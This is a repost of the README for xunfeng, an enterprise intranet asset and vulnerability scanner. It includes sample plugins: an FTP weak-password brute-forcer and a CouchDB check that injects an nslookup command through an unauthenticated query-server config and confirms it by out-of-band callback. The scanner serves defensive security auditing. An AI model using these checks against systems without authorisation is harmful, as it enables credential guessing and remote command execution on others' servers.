在线时间:8:00-16:00
迪恩网络APP
随时随地掌握行业动态
扫描二维码
关注迪恩网络微信公众号
开源软件名称:xunfeng开源软件地址:https://gitee.com/songboy/xunfeng开源软件介绍:巡风巡风是一款适用于企业内网的 本软件只做初步探测,无攻击性行为。请使用者遵守《中华人民共和国网络安全法》,勿将巡风用于非授权的测试,YSRC/同程安全应急响应中心/同程网络科技股份有限公司不负任何连带法律责任。 其主体分为两部分: 网络资产识别引擎会通过用户配置的IP范围 漏洞检测引擎会根据用户指定的 安装指南国内镜像 https://code.aliyun.com/ysrc/xunfeng.git 配置指南
插件编写漏洞插件支持2种类型,json标示与python脚本,可以通过官方推送渠道安装或者自行添加。 JSON标示符 Python脚本 插件标准非常简洁,只需通过 # coding:utf-8import ftplibdef get_plugin_info(): # 插件描述信息 plugin_info = { "name": "FTP弱口令", "info": "导致敏感信息泄露,严重情况可导致服务器被入侵控制。", "level": "高危", "type": "弱口令", "author": "wolf@YSRC", "url": "", "keyword": "server:ftp", # 推荐搜索关键字 } return plugin_infodef check(ip, port, timeout): # 漏洞检测代码 user_list = ['ftp', 'www', 'admin', 'root', 'db', 'wwwroot', 'data', 'web'] for user in user_list: for pass_ in PASSWORD_DIC: # 密码字典无需定义,程序会自动为其赋值。 pass_ = str(pass_.replace('{user}', user)) try: ftp = ftplib.FTP() ftp.timeout = timeout ftp.connect(ip, port) ftp.login(user, pass_) if pass_ == '': pass_ = 'null' if user == 'ftp' and pass_ == 'ftp': return u"可匿名登录" return u"存在弱口令,账号:%s,密码:%s" % (user, pass_) # 成功返回结果,内容显示在扫描结果页面。 except: pass 此外系统内嵌了辅助验证功能:
使用例子: import urllib2import randomimport socketdef get_plugin_info(): # 插件描述信息 plugin_info = { "name": "CouchDB未授权访问", "info": "导致敏感信息泄露,攻击者可通过控制面板执行系统命令,导致服务器被入侵。", "level": "高危", "type": "未授权访问", "author": "wolf@YSRC", "url": "", "keyword": "server:couchdb", # 推荐搜索关键字 }def get_ver_ip(ip): csock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) csock.connect((ip, 80)) (addr, port) = csock.getsockname() csock.close() return addrdef random_str(len): str1="" for i in range(len): str1+=(random.choice("ABCDEFGH1234567890")) return str(str1)def check(ip,port,timeout): rand_str = random_str(8) cmd = random_str(4) server_ip = get_ver_ip() req_list = [ ["/_config/query_servers/%s"%(cmd),'"nslookup %s %s>log"'%(rand_str,server_ip)], ["/vultest123",''], ["/vultest123/test",'{"_id":"safetest"}'] ] for req_info in req_list: try: request = urllib2.Request(url+req_info[0],req_info[1],timeout=timeout) request.get_method = lambda: 'PUT' urllib2.urlopen(request) except: pass try: req_exec = urllib2.Request(url + "/vultest123/_temp_view?limit=11",'{"language":"%s","map":""}'%(cmd)) req_exec.add_header("Content-Type","application/json") urllib2.urlopen(req_exec) except: pass check = urllib2.urlopen("http://%s:8088/%s"%(server_ip,rand_str)).read() if 'YES' in check: return u"未授权访问" 流程演示视频文件结构│ Config.py # 配置文件│ README.md # 说明文档│ Run.bat # Windows启动服务│ Run.py # webserver│ Run.sh # Linux启动服务,重新启动前需把进程先结束掉│├─aider│ Aider.py # 辅助验证脚本│├─db # 初始数据库结构│├─masscan # 内置编译好的Masscan程序(CentOS win64适用),需要chmod+x给执行权限(root),若无法使用请自行编译安装。├─nascan│ │ NAScan.py # 网络资产信息抓取引擎│ ││ ├─lib│ │ common.py 其他方法│ │ icmp.py # ICMP发送类│ │ log.py # 日志输出│ │ mongo.py # 数据库连接│ │ scan.py # 扫描与识别│ │ start.py # 线程控制│ ││ └─plugin│ masscan.py # 调用Masscan脚本│├─views│ │ View.py # web请求处理│ ││ ├─lib│ │ Conn.py # 数据库公共类│ │ CreateExcel.py # 表格处理│ │ Login.py # 权限验证│ │ QueryLogic.py # 查询语句解析│ ││ ├─static #静态资源目录│ ││ └─templates #模板文件目录│└─vulscan │ VulScan.py # 漏洞检测引擎 │ └─vuldb # 漏洞库目录 扫描下方二维码关注YSRC公众号,回复自己的微信号+巡风,会有人拉你进巡风的微信讨论群。 |
请发表评论